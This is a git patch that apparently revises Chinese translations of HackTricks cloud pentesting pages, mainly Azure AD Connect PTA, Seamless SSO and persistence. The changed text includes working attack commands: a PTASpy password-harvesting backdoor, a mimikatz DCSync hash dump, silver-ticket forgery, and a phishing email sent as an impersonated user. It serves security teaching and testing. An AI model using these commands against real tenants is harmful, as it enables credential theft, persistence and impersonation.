From b37c3e835c70af3d7c2ba905dd60311c60461cfe Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Jan 2025 23:54:22 +0000 Subject: [PATCH] Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe --- .github/pull_request_template.md | 8 +- .gitignore | 2 - book.toml | 2 +- hacktricks-preprocessor.py | 4 +- src/SUMMARY.md | 2 - .../README.md | 6 +- .../pta-pass-through-authentication.md | 20 +-- .../seamless-sso.md | 52 +++---- .../azure-security/az-persistence/README.md | 20 +-- .../az-persistence/az-storage-persistence.md | 6 +- .../az-persistence/az-vms-persistence.md | 6 +- .../az-function-apps-post-exploitation.md | 2 +- .../az-key-vault-post-exploitation.md | 8 +- .../az-queue-post-exploitation.md | 12 +- .../az-servicebus-post-exploitation.md | 10 +- .../az-sql-post-exploitation.md | 8 +- .../az-table-storage-post-exploitation.md | 4 +- .../az-vms-and-network-post-exploitation.md | 12 +- .../az-app-services-privesc.md | 4 +- .../az-authorization-privesc.md | 8 +- .../az-entraid-privesc/README.md | 22 +-- ...-conditional-access-policies-mfa-bypass.md | 30 ++-- .../az-entraid-privesc/dynamic-groups.md | 2 +- .../az-functions-app-privesc.md | 46 +++--- .../az-key-vault-privesc.md | 2 +- .../az-queue-privesc.md | 4 +- .../az-servicebus-privesc.md | 2 +- .../az-privilege-escalation/az-sql-privesc.md | 10 +- .../az-storage-privesc.md | 12 +- ...az-virtual-machines-and-network-privesc.md | 14 +- .../azure-security/az-services/README.md | 4 +- .../azure-security/az-services/az-acr.md | 4 +- .../az-services/az-app-service.md | 24 ++-- .../az-services/az-application-proxy.md | 8 +- .../az-services/az-arm-templates.md | 4 +- .../az-automation-account/README.md | 38 ++--- .../az-state-configuration-rce.md | 14 +- .../azure-security/az-services/az-azuread.md | 34 ++--- .../az-services/az-file-shares.md | 6 +- .../az-services/az-function-apps.md | 36 ++--- .../az-services/az-logic-apps.md | 10 +- .../az-services/az-queue-enum.md | 4 +- .../az-services/az-servicebus-enum.md | 12 +- .../azure-security/az-services/az-sql.md | 28 ++-- .../azure-security/az-services/az-storage.md | 26 ++-- .../az-services/az-table-storage.md | 18 +-- .../azure-security/az-services/intune.md | 12 +- .../azure-security/az-services/keyvault.md | 32 ++--- .../azure-security/az-services/vms/README.md | 48 +++---- .../az-services/vms/az-azure-network.md | 86 +++++------ .../README.md | 36 ++--- .../az-oauth-apps-phishing.md | 28 ++-- .../az-password-spraying.md | 2 +- .../az-vms-unath.md | 2 +- .../digital-ocean-pentesting/README.md | 2 +- .../do-basic-information.md | 30 ++-- .../do-permissions-for-a-pentest.md | 4 +- .../do-services/do-apps.md | 6 +- .../do-services/do-container-registry.md | 4 +- .../do-services/do-droplets.md | 22 +-- .../do-services/do-functions.md | 8 +- .../do-services/do-kubernetes-doks.md | 2 +- .../do-services/do-networking.md | 2 +- .../do-services/do-projects.md | 6 +- .../do-services/do-spaces.md | 8 +- src/pentesting-cloud/gcp-security/README.md | 32 ++--- .../gcp-basic-information/README.md | 56 ++++---- .../gcp-federation-abuse.md | 18 +-- .../gcp-permissions-for-a-pentest.md | 12 +- .../gcp-api-keys-persistence.md | 2 +- .../gcp-app-engine-persistence.md | 4 +- .../gcp-artifact-registry-persistence.md | 20 +-- .../gcp-bigquery-persistence.md | 2 +- .../gcp-cloud-functions-persistence.md | 6 +- .../gcp-cloud-run-persistence.md | 10 +- .../gcp-cloud-shell-persistence.md | 8 +- .../gcp-cloud-sql-persistence.md | 4 +- .../gcp-dataflow-persistence.md | 2 +- .../gcp-filestore-persistence.md | 4 +- .../gcp-logging-persistence.md | 6 +- .../gcp-non-svc-persistance.md | 24 ++-- .../gcp-app-engine-post-exploitation.md | 6 +- .../gcp-cloud-build-post-exploitation.md | 4 +- .../gcp-cloud-functions-post-exploitation.md | 11 +- .../gcp-cloud-run-post-exploitation.md | 2 +- .../gcp-cloud-shell-post-exploitation.md | 10 +- .../gcp-cloud-sql-post-exploitation.md | 6 +- .../gcp-compute-post-exploitation.md | 22 +-- .../gcp-filestore-post-exploitation.md | 6 +- .../gcp-iam-post-exploitation.md | 12 +- .../gcp-kms-post-exploitation.md | 10 +- .../gcp-logging-post-exploitation.md | 2 +- .../gcp-monitoring-post-exploitation.md | 4 +- .../gcp-pub-sub-post-exploitation.md | 16 +-- .../gcp-secretmanager-post-exploitation.md | 2 +- .../gcp-security-post-exploitation.md | 4 +- .../gcp-storage-post-exploitation.md | 4 +- .../gcp-privilege-escalation/README.md | 50 +++---- .../gcp-apikeys-privesc.md | 6 +- .../gcp-appengine-privesc.md | 16 +-- .../gcp-artifact-registry-privesc.md | 14 +- .../gcp-batch-privesc.md | 6 +- .../gcp-bigquery-privesc.md | 10 +- .../gcp-cloudbuild-privesc.md | 6 +- .../gcp-cloudfunctions-privesc.md | 24 ++-- .../gcp-cloudidentity-privesc.md | 4 +- .../gcp-cloudscheduler-privesc.md | 8 +- .../gcp-composer-privesc.md | 12 +- .../gcp-compute-privesc/README.md | 16 +-- .../gcp-add-custom-ssh-metadata.md | 26 ++-- .../gcp-container-privesc.md | 28 ++-- .../gcp-deploymentmaneger-privesc.md | 10 +- .../gcp-iam-privesc.md | 24 ++-- .../gcp-kms-privesc.md | 4 +- ...local-privilege-escalation-ssh-pivoting.md | 18 +-- .../gcp-misc-perms-privesc.md | 8 +- .../gcp-network-docker-escape.md | 22 +-- .../gcp-orgpolicy-privesc.md | 2 +- .../gcp-pubsub-privesc.md | 2 +- .../gcp-resourcemanager-privesc.md | 6 +- .../gcp-run-privesc.md | 16 +-- .../gcp-secretmanager-privesc.md | 4 +- .../gcp-serviceusage-privesc.md | 14 +- .../gcp-sourcerepos-privesc.md | 14 +- .../gcp-storage-privesc.md | 20 +-- .../gcp-workflows-privesc.md | 6 +- .../gcp-services/gcp-ai-platform-enum.md | 2 +- .../gcp-services/gcp-api-keys-enum.md | 4 +- .../gcp-services/gcp-app-engine-enum.md | 14 +- .../gcp-artifact-registry-enum.md | 10 +- .../gcp-services/gcp-bigquery-enum.md | 34 ++--- .../gcp-services/gcp-bigtable-enum.md | 2 +- .../gcp-services/gcp-cloud-build-enum.md | 22 +-- .../gcp-services/gcp-cloud-functions-enum.md | 6 +- .../gcp-services/gcp-cloud-run-enum.md | 12 +- .../gcp-services/gcp-cloud-scheduler-enum.md | 12 +- .../gcp-services/gcp-cloud-shell-enum.md | 6 +- .../gcp-services/gcp-cloud-sql-enum.md | 8 +- .../gcp-services/gcp-composer-enum.md | 2 +- .../gcp-compute-instances-enum/README.md | 36 ++--- .../gcp-compute-instance.md | 28 ++-- .../gcp-vpc-and-networking.md | 10 +- .../gcp-containers-gke-and-composer-enum.md | 28 ++-- .../gcp-services/gcp-filestore-enum.md | 20 +-- .../gcp-services/gcp-firebase-enum.md | 16 +-- .../gcp-services/gcp-firestore-enum.md | 2 +- .../gcp-iam-and-org-policies-enum.md | 46 +++--- .../gcp-security/gcp-services/gcp-kms-enum.md | 10 +- .../gcp-services/gcp-logging-enum.md | 22 +-- .../gcp-services/gcp-memorystore-enum.md | 2 +- .../gcp-services/gcp-monitoring-enum.md | 6 +- .../gcp-security/gcp-services/gcp-pub-sub.md | 14 +- .../gcp-services/gcp-secrets-manager-enum.md | 6 +- .../gcp-services/gcp-security-enum.md | 38 ++--- .../gcp-source-repositories-enum.md | 10 +- .../gcp-services/gcp-spanner-enum.md | 2 +- .../gcp-services/gcp-stackdriver-enum.md | 4 +- .../gcp-services/gcp-storage-enum.md | 26 ++-- .../gcp-services/gcp-workflows-enum.md | 4 +- .../gcp-to-workspace-pivoting/README.md | 44 +++--- ...cp-understanding-domain-wide-delegation.md | 28 ++-- .../README.md | 6 +- .../gcp-api-keys-unauthenticated-enum.md | 6 +- .../gcp-app-engine-unauthenticated-enum.md | 2 +- ...-artifact-registry-unauthenticated-enum.md | 4 +- .../gcp-cloud-build-unauthenticated-enum.md | 12 +- ...cp-cloud-functions-unauthenticated-enum.md | 8 +- .../gcp-cloud-sql-unauthenticated-enum.md | 4 +- .../gcp-compute-unauthenticated-enum.md | 2 +- ...principals-and-org-unauthenticated-enum.md | 8 +- ...ource-repositories-unauthenticated-enum.md | 2 +- .../README.md | 18 +-- ...gcp-public-buckets-privilege-escalation.md | 2 +- .../ibm-cloud-pentesting/README.md | 6 +- .../ibm-basic-information.md | 14 +- .../ibm-hyper-protect-crypto-services.md | 6 +- .../ibm-hyper-protect-virtual-server.md | 14 +- .../kubernetes-security/README.md | 4 +- .../README.md | 136 +++++++++--------- .../kubernetes-roles-abuse-lab.md | 6 +- .../pod-escape-privileges.md | 2 +- .../attacking-kubernetes-from-inside-a-pod.md | 78 +++++----- .../exposing-services-in-kubernetes.md | 22 +-- .../kubernetes-security/kubernetes-basics.md | 76 +++++----- .../kubernetes-enumeration.md | 88 ++++++------ .../kubernetes-external-secrets-operator.md | 12 +- .../kubernetes-hardening/README.md | 16 +-- .../kubernetes-securitycontext-s.md | 34 ++--- .../kubernetes-kyverno-bypass.md | 6 +- .../kubernetes-namespace-escalation.md | 12 +- .../kubernetes-network-attacks.md | 36 ++--- .../kubernetes-opa-gatekeeper/README.md | 4 +- .../kubernetes-opa-gatekeeper-bypass.md | 8 +- .../kubernetes-pivoting-to-clouds.md | 38 ++--- ...bernetes-role-based-access-control-rbac.md | 42 +++--- ...bernetes-validatingwebhookconfiguration.md | 10 +- .../pentesting-kubernetes-services/README.md | 50 +++---- ...ubelet-authentication-and-authorization.md | 44 +++--- .../openshift-pentesting/README.md | 2 +- .../openshift-basic-information.md | 2 +- .../openshift-jenkins/README.md | 22 +-- .../openshift-jenkins-build-overrides.md | 12 +- .../openshift-missing-service-account.md | 12 +- .../openshift-scc-bypass.md | 12 +- .../openshift-tekton.md | 14 +- .../openshift-pentesting/openshift-scc.md | 10 +- .../workspace-security/README.md | 30 ++-- .../gws-google-platforms-phishing/README.md | 22 +-- .../gws-app-scripts.md | 56 ++++---- .../workspace-security/gws-persistence.md | 80 +++++------ .../gws-post-exploitation.md | 34 ++--- .../README.md | 22 +-- .../gcds-google-cloud-directory-sync.md | 18 +-- ...-google-credential-provider-for-windows.md | 48 +++---- .../gps-google-password-sync.md | 56 ++++---- .../gws-admin-directory-sync.md | 34 ++--- theme/index.hbs | 1 - 217 files changed, 1760 insertions(+), 1778 deletions(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 759698ded..fd22ae387 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,11 +1,11 @@ -You can remove this content before sending the PR: +您可以在发送 PR 之前删除此内容: ## Attribution -我们重视您的知识,并鼓励您分享内容。请确保您仅上传您拥有或已获得原作者分享权限的内容(在您添加的文本中或您正在修改的页面末尾添加对作者的引用,或两者都添加)。您对知识产权的尊重为每个人营造了一个值得信赖和合法的分享环境。 +我们重视您的知识,并鼓励您分享内容。请确保您仅上传您拥有或已获得原作者分享权限的内容(在添加的文本中或您正在修改的页面末尾添加对作者的引用,或两者都添加)。您对知识产权的尊重为每个人营造了一个值得信赖和合法的分享环境。 ## HackTricks Training -如果您正在添加内容以便通过 [ARTE certification](https://training.hacktricks.xyz/courses/arte) 考试,使用 2 个标志而不是 3 个,您需要将 PR 命名为 `arte-`。 +如果您添加内容是为了通过 [ARTE certification](https://training.hacktricks.xyz/courses/arte) 考试以获得 2 个标志而不是 3 个,您需要将 PR 命名为 `arte-`。 此外,请记住,语法/语法修正将不被接受以减少考试标志。 -在任何情况下,感谢您为 HackTricks 的贡献! +无论如何,感谢您为 HackTricks 做出的贡献! diff --git a/.gitignore b/.gitignore index 7fa947732..8d12fbb76 100644 --- a/.gitignore +++ b/.gitignore @@ -3,8 +3,6 @@ - - # General .DS_Store .AppleDouble diff --git a/book.toml b/book.toml index 4add3bde9..e3330d5e6 100644 --- a/book.toml +++ b/book.toml @@ -1,5 +1,5 @@ [book] -authors = ["Carlos Polop"] +authors = ["HackTricks Team"] language = "en" multilingual = false src = "src" diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 56a0cf0dc..37f549101 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -43,14 +43,14 @@ def ref(matchobj): if href.endswith("/"): href = href+"README.md" # Fix if ref points to a folder chapter, _path = findtitle(href, book, "source_path") - logger.debug(f'Recursive title search result: {chapter['name']}') + logger.debug(f'Recursive title search result: {chapter["name"]}') title = chapter['name'] except Exception as e: try: dir = path.dirname(current_chapter['source_path']) logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}') chapter, _path = findtitle(path.normpath(path.join(dir,href)), book, "source_path") - logger.debug(f'Recursive title search result: {chapter['name']}') + logger.debug(f'Recursive title search result: {chapter["name"]}') title = chapter['name'] except Exception as e: logger.debug(f'Error getting chapter title: {path.normpath(path.join(dir,href))}') diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1b1d60c58..feae5163c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -505,5 +505,3 @@ - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md index 7c382dedd..f793eaba3 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md @@ -4,11 +4,11 @@ ## 基本信息 -**本地 Active Directory (AD)** 和 **Azure AD** 之间的集成是通过 **Azure AD Connect** 实现的,提供支持 **单点登录 (SSO)** 的多种方法。每种方法虽然有用,但都存在潜在的安全漏洞,可能被利用来危害云或本地环境: +**本地 Active Directory (AD)** 和 **Azure AD** 之间的集成通过 **Azure AD Connect** 实现,提供支持 **单点登录 (SSO)** 的多种方法。每种方法虽然有用,但都存在潜在的安全漏洞,可能被利用以危害云或本地环境: - **Pass-Through Authentication (PTA)**: -- 可能会导致本地 AD 上代理的泄露,从而允许验证用户密码以进行 Azure 连接(本地到云)。 -- 在新位置(云到本地)注册新代理以验证身份的可行性。 +- 可能会导致本地 AD 上代理的泄露,从而允许验证用户密码以进行 Azure 连接(从本地到云)。 +- 在新位置(从云到本地)注册新代理以验证身份的可行性。 {{#ref}} pta-pass-through-authentication.md diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index 8ad38abe9..57aa83e70 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -4,28 +4,28 @@ ## 基本信息 -[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) 通过身份验证允许您的用户使用相同的密码**登录本地和基于云的应用程序**。此功能为您的用户提供了更好的体验——记住一个密码更少,并且减少了IT帮助台的成本,因为您的用户不太可能忘记如何登录。当用户使用Azure AD登录时,此功能**直接验证用户的密码与您的本地Active Directory**。 +[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) 通过身份验证允许您的用户使用相同的密码**登录本地和基于云的应用程序**。此功能为您的用户提供了更好的体验 - 记住一个密码更少,并且减少了 IT 帮助台的成本,因为您的用户不太可能忘记如何登录。当用户使用 Azure AD 登录时,此功能**直接验证用户的密码与您的本地 Active Directory**。 -在PTA中,**身份**是**同步**的,但**密码****不是**,就像在PHS中一样。 +在 PTA 中,**身份**是**同步**的,但**密码****不是**,就像在 PHS 中一样。 -身份验证在本地AD中进行验证,与云的通信由在**本地服务器**上运行的**身份验证代理**完成(它不需要在本地DC上)。 +身份验证在本地 AD 中验证,云的通信由在**本地服务器**上运行的**身份验证代理**完成(它不需要在本地 DC 上)。 ### 身份验证流程
1. 为了**登录**,用户被重定向到**Azure AD**,在这里他发送**用户名**和**密码** -2. **凭据**被**加密**并放入Azure AD中的**队列** -3. **本地身份验证代理**从队列中收集**凭据**并**解密**它们。这个代理被称为**“通过身份验证代理”**或**PTA代理**。 -4. **代理**将凭据与**本地AD**进行**验证**,并将**响应****返回**给Azure AD,如果响应是积极的,**完成用户的登录**。 +2. **凭据**被**加密**并放入 Azure AD 中的**队列** +3. **本地身份验证代理**从队列中收集**凭据**并**解密**它们。这个代理被称为**“通过身份验证代理”**或**PTA 代理**。 +4. **代理**将凭据与**本地 AD**进行**验证**,并将**响应****返回**给 Azure AD,如果响应是积极的,**完成用户的登录**。 > [!WARNING] > 如果攻击者**破坏**了**PTA**,他可以**查看**队列中的所有**凭据**(以**明文**形式)。\ -> 他还可以**验证任何凭据**到AzureAD(类似于Skeleton key的攻击)。 +> 他还可以**验证任何凭据**到 AzureAD(类似于 Skeleton key 的攻击)。 ### 本地 -> 云 -如果您对运行**PTA** **代理**的**Azure AD Connect服务器**具有**管理员**访问权限,您可以使用**AADInternals**模块**插入后门**,这将**验证所有输入的密码**(因此所有密码都将有效进行身份验证): +如果您对运行**PTA** **代理**的**Azure AD Connect 服务器**具有**管理员**访问权限,您可以使用**AADInternals**模块**插入后门**,这将**验证所有输入的密码**(因此所有密码都将有效进行身份验证): ```powershell Install-AADIntPTASpy ``` @@ -43,7 +43,7 @@ Get-AADIntPTASpyLog -DecodePasswords - 将 `PTASpy.dll` 注入到 `AzureADConnectAuthenticationAgentService` 进程中 > [!NOTE] -> 当 AzureADConnectAuthenticationAgent 服务重启时,PTASpy 会被“卸载”,必须重新安装。 +> 当 AzureADConnectAuthenticationAgent 服务被重启时,PTASpy 会被“卸载”,必须重新安装。 ### 云 -> 本地 @@ -52,7 +52,7 @@ Get-AADIntPTASpyLog -DecodePasswords ### 无缝 SSO -可以使用无缝 SSO 与 PTA,这对其他滥用是脆弱的。请查看: +可以使用 PTA 的无缝 SSO,这对其他滥用是脆弱的。请查看: {{#ref}} seamless-sso.md diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index 59f1d3369..7c83e8fe5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -4,23 +4,23 @@ ## 基本信息 -[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On(Azure AD Seamless SSO)会在用户使用连接到公司网络的公司设备时**自动登录用户**。启用后,**用户无需输入密码即可登录Azure AD**,通常甚至不需要输入用户名。此功能为用户提供了轻松访问基于云的应用程序的方式,而无需任何额外的本地组件。 +[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) 自动**在用户使用连接到公司网络的公司设备时登录用户**。启用后,**用户无需输入密码即可登录 Azure AD**,通常甚至不需要输入用户名。此功能为用户提供了轻松访问基于云的应用程序的方式,而无需任何额外的本地组件。

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

-基本上,Azure AD Seamless SSO **在用户** **使用加入本地域的PC时** **自动登录**。 +基本上,Azure AD Seamless SSO **在用户** **在本地域加入的 PC 上** 时**登录用户**。 -它支持[**PHS(密码哈希同步)**](phs-password-hash-sync.md)和[**PTA(透传身份验证)**](pta-pass-through-authentication.md)。 +它支持 [**PHS (密码哈希同步)**](phs-password-hash-sync.md) 和 [**PTA (透传身份验证)**](pta-pass-through-authentication.md)。 -桌面SSO使用**Kerberos**进行身份验证。当配置时,Azure AD Connect会在本地AD中创建一个名为**AZUREADSSOACC`$`**的**计算机帐户**。`AZUREADSSOACC$`帐户的密码在配置期间**以明文形式发送到Azure AD**。 +桌面 SSO 使用 **Kerberos** 进行身份验证。当配置时,Azure AD Connect 在本地 AD 中创建一个名为 **AZUREADSSOACC`$`** 的**计算机帐户**。`AZUREADSSOACC$` 帐户的密码在配置期间**以明文形式发送到 Azure AD**。 -**Kerberos票证**使用密码的**NTHash(MD4)**进行**加密**,Azure AD使用发送的密码解密票证。 +**Kerberos 票证**使用密码的 **NTHash (MD4)** 进行**加密**,Azure AD 使用发送的密码解密票证。 -**Azure AD**公开了一个**端点**(https://autologon.microsoftazuread-sso.com),接受Kerberos **票证**。加入域的机器的浏览器将票证转发到此端点以实现SSO。 +**Azure AD** 暴露一个 **端点** (https://autologon.microsoftazuread-sso.com),接受 Kerberos **票证**。域加入机器的浏览器将票证转发到此端点以实现 SSO。 ### 本地 -> 云 -用户的**`AZUREADSSOACC$`**的**密码**从不更改。因此,域管理员可以破解该**帐户的哈希**,然后使用它**创建银票**以连接到Azure,使用**任何已同步的本地用户**: +用户 **`AZUREADSSOACC$` 的密码** **永远不会改变**。因此,域管理员可以破解该 **帐户的哈希**,然后使用它来 **创建银票** 以连接到 Azure,使用 **任何已同步的本地用户**: ```powershell # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' @@ -38,7 +38,7 @@ Import-Module DSInternals $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` -使用该哈希值,您现在可以**生成银票**: +使用该哈希,您现在可以**生成银票**: ```powershell # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier @@ -53,33 +53,33 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com ## Send email Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." ``` -要利用银票,应执行以下步骤: +要利用银票,应该执行以下步骤: -1. **启动浏览器:** 应启动Mozilla Firefox。 +1. **启动浏览器:** 应启动 Mozilla Firefox。 2. **配置浏览器:** - 导航到 **`about:config`**。 - 将 [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) 的首选项设置为指定的 [值](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically): - `https://aadg.windows.net.nsatc.net` - `https://autologon.microsoftazuread-sso.com` -3. **访问Web应用程序:** -- 访问与组织的AAD域集成的Web应用程序。一个常见的例子是 [Office 365](https://portal.office.com/)。 +3. **访问 Web 应用程序:** +- 访问与组织的 AAD 域集成的 Web 应用程序。一个常见的例子是 [Office 365](https://portal.office.com/)。 4. **身份验证过程:** -- 在登录屏幕上,应输入用户名,密码字段留空。 -- 要继续,请按TAB或ENTER。 +- 在登录屏幕上,输入用户名,密码字段留空。 +- 要继续,请按 TAB 或 ENTER。 > [!TIP] -> 如果启用了MFA,这不会绕过MFA +> 如果启用了 MFA,这不会绕过 MFA -#### 选项2,无需dcsync - SeamlessPass +#### 选项 2 无需 dcsync - SeamlessPass -也可以**在没有dcsync攻击的情况下**执行此攻击,以更隐蔽,如 [在这篇博客文章中解释](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)。为此,您只需以下之一: +也可以 **在没有 dcsync 攻击** 的情况下执行此攻击,以更隐蔽,如 [在这篇博客文章中解释](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)。为此,您只需要以下之一: -- **被攻陷用户的TGT:** 即使您没有,但用户被攻陷,您也可以使用许多工具中实现的假TGT委派技巧获取一个,例如 [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 和 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)。 -- **黄金票证**:如果您拥有KRBTGT密钥,您可以为被攻击用户创建所需的TGT。 -- **被攻陷用户的NTLM哈希或AES密钥:** SeamlessPass将使用此信息与域控制器通信以生成TGT。 -- **AZUREADSSOACC$账户NTLM哈希或AES密钥:** 使用此信息和用户的安全标识符(SID)进行攻击,可以创建服务票证并与云进行身份验证(如在前一种方法中执行的那样)。 +- **被攻陷用户的 TGT:** 即使您没有,但用户被攻陷,您也可以使用许多工具中实现的假 TGT 委托技巧获取一个,例如 [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 和 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)。 +- **黄金票证**:如果您拥有 KRBTGT 密钥,可以为被攻击用户创建所需的 TGT。 +- **被攻陷用户的 NTLM 哈希或 AES 密钥:** SeamlessPass 将使用此信息与域控制器通信以生成 TGT。 +- **AZUREADSSOACC$ 账户 NTLM 哈希或 AES 密钥:** 使用此信息和用户的安全标识符 (SID) 进行攻击,可以创建服务票证并与云进行身份验证(如在前一种方法中执行的那样)。 -最后,使用TGT可以使用工具 [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass): +最后,使用 TGT 可以使用工具 [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) 进行: ``` seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt ``` @@ -87,19 +87,19 @@ seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt -如果 Active Directory 管理员可以访问 Azure AD Connect,他们可以**为任何云用户设置 SID**。这样,Kerberos **票证**也可以**为仅云用户创建**。唯一的要求是 SID 是一个合适的[SID](). +如果 Active Directory 管理员可以访问 Azure AD Connect,他们可以**为任何云用户设置 SID**。这样,Kerberos **票证**也可以**为仅云用户创建**。唯一的要求是 SID 必须是一个合适的 [SID](). > [!CAUTION] -> 仅云管理员用户的 SID 现在被**微软阻止**。\ +> 仅云管理员用户的 SID 现在**被 Microsoft 阻止**。\ > 有关信息,请查看 [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) ### 本地 -> 云通过基于资源的受限委派 -任何可以管理计算机帐户(`AZUREADSSOACC$`)的用户,在该帐户所在的容器或 OU 中,都可以**配置基于资源的受限委派并访问它**。 +任何可以管理计算机帐户 (`AZUREADSSOACC$`) 的人,在该帐户所在的容器或 OU 中,都可以**配置基于资源的受限委派并访问它**。 ```python python rbdel.py -u \\ -p azureadssosvc$ ``` -## 参考文献 +## 参考 - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) - [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md index d3b168621..7bb6e67a9 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/README.md +++ b/src/pentesting-cloud/azure-security/az-persistence/README.md @@ -4,19 +4,19 @@ ### 非法同意授权 -默认情况下,任何用户都可以在 Azure AD 中注册应用程序。因此,您可以注册一个需要高影响权限的应用程序(仅针对目标租户),并获得管理员同意(如果您是管理员,则批准它) - 例如代表用户发送邮件、角色管理等。这将使我们能够**执行网络钓鱼攻击**,如果成功将非常**有成效**。 +默认情况下,任何用户都可以在 Azure AD 中注册应用程序。因此,您可以注册一个需要高影响权限的应用程序(仅针对目标租户),并获得管理员同意(如果您是管理员,则批准它) - 例如代表用户发送邮件、角色管理等。这将使我们能够 **执行钓鱼攻击**,如果成功,将非常 **有成效**。 -此外,您还可以以您的用户身份接受该应用程序,以保持对其的访问。 +此外,您还可以接受该应用程序作为您的用户,以维持对其的访问。 ### 应用程序和服务主体 拥有应用程序管理员、GA 或具有 microsoft.directory/applications/credentials/update 权限的自定义角色的权限,我们可以向现有应用程序添加凭据(密钥或证书)。 -可以**针对具有高权限的应用程序**或**添加具有高权限的新应用程序**。 +可以 **针对具有高权限的应用程序** 或 **添加具有高权限的新应用程序**。 -一个有趣的角色是**特权身份验证管理员角色**,因为它允许**重置**全局管理员的密码。 +一个有趣的角色是 **特权身份验证管理员角色**,因为它允许 **重置** 全局管理员的密码。 -该技术还允许**绕过 MFA**。 +该技术还允许 **绕过 MFA**。 ```powershell $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) @@ -26,11 +26,11 @@ Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1 ```powershell Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId ``` -### Federation - Token Signing Certificate +### 联邦 - 令牌签名证书 -通过在本地 AD 上拥有 **DA 权限**,可以创建和导入有效期非常长的 **新 Token 签名** 和 **Token 解密证书**。这将允许我们 **以任何用户身份登录**,只要我们知道其 ImuutableID。 +在本地 AD 上拥有 **DA 权限**,可以创建和导入有效期非常长的 **新令牌签名** 和 **令牌解密证书**。这将允许我们 **以任何用户身份登录**,前提是我们知道他们的 ImuutableID。 -**在 ADFS 服务器上以 **DA** 身份运行以下命令** 来创建新证书(默认密码 'AADInternals'),将其添加到 ADFS,禁用自动滚动并重启服务: +**在 ADFS 